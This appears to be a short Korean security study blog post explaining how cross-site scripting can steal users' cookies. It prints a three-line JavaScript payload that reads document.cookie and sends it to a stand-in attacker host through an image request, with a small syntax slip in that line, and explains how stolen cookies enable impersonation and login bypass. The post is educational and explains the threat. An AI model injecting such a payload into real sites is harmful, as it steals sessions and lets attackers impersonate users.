Cookie 탈취

DATE : 2023/12/31

XSS에 관한 내용을 정리해보았으니, 이젠 XSS로 과연 무엇을 할 수 있을 지에 대해 고민해보자.

저번 주에 다룬 문제에서는 POC 개념으로 단순히 alert() 함수가 실행되는 지의 여부만 확인했었다.

하지만 현실에서는 이와 달리 좀 더 악의적인 목적을 가지고 XSS를 수행할 것이다.

XSS로 실행할 수 있는 다양한 형태의 스크립트가 존재하겠지만

그 중에서도 오늘은 cookie 탈취와 관련된 내용을 정리해보려고 한다.

우선 쿠키를 탈취하기 위한 스크립트를 먼저 작성해보자.

var data = document.cookie;
var image = new Image();
image.src = "http://attacker_server.com/?cookie="data;

전체 내용은 총 3줄로 어렵지 않게 쿠키를 탈취할 수 있다!

스크립트 내용을 설명하기 전에 정확히 이해해야 할 것은

스크립트가 실행되는 위치가 사용자의 브라우저라는 것이다.

따라서 위의 스크립트를 받은 브라우저는

var data = document.cookie;

자신이 가지고 있는 쿠키 정보를 변수 data에 할당한 다음 HTML <img> tag를 생성한다.

var image = new Image();

<img> tag는 말 그대로 화면에 이미지를 출력할 때 사용하는 태그인데

무조건 출력할 이미지의 주소를 적어줘야 한다.

따라서 속성 src에

image.src = "http://attacker_server.com/?cookie="data;

공격자 서버로 data를 보내는 URL을 적어주면 된다.

스크립트의 마지막 줄을 브라우저가 실행하게 되면

이미지를 출력하기 위해 src에 적힌 경로로 요청을 보내게 되는데

http://attacker_server.com/?cookie=data

이 요청은 결국 공격자 서버로 쿠키를 보내라는 의미이기 때문에

결과적으로 사용자의 쿠키를 공격자의 서버에서 확인할 수 있게 되는 것이다.

즉! XSS 공격 포인트를 찾아서 이와 같은 스크립트를 삽입하게 되면

사용자는 아무 것도 모른 채 자신의 쿠키를 공격자에게 넘겨 주게 되는 것이고

만약 로그인한 사용자의 쿠키를 탈취하게 되면

공격자는 자신이 얻은 쿠키를 활용해 다른 사용자의 신원으로 위장함으로써

로그인 인증 과정을 우회할 수 있게 된다..!

따라서 alert()만 띄우는 단순한 공격이 아닌, 생각보다 중대한 피해를 입을 수 있음을 알아야 한다! 👍

Last updated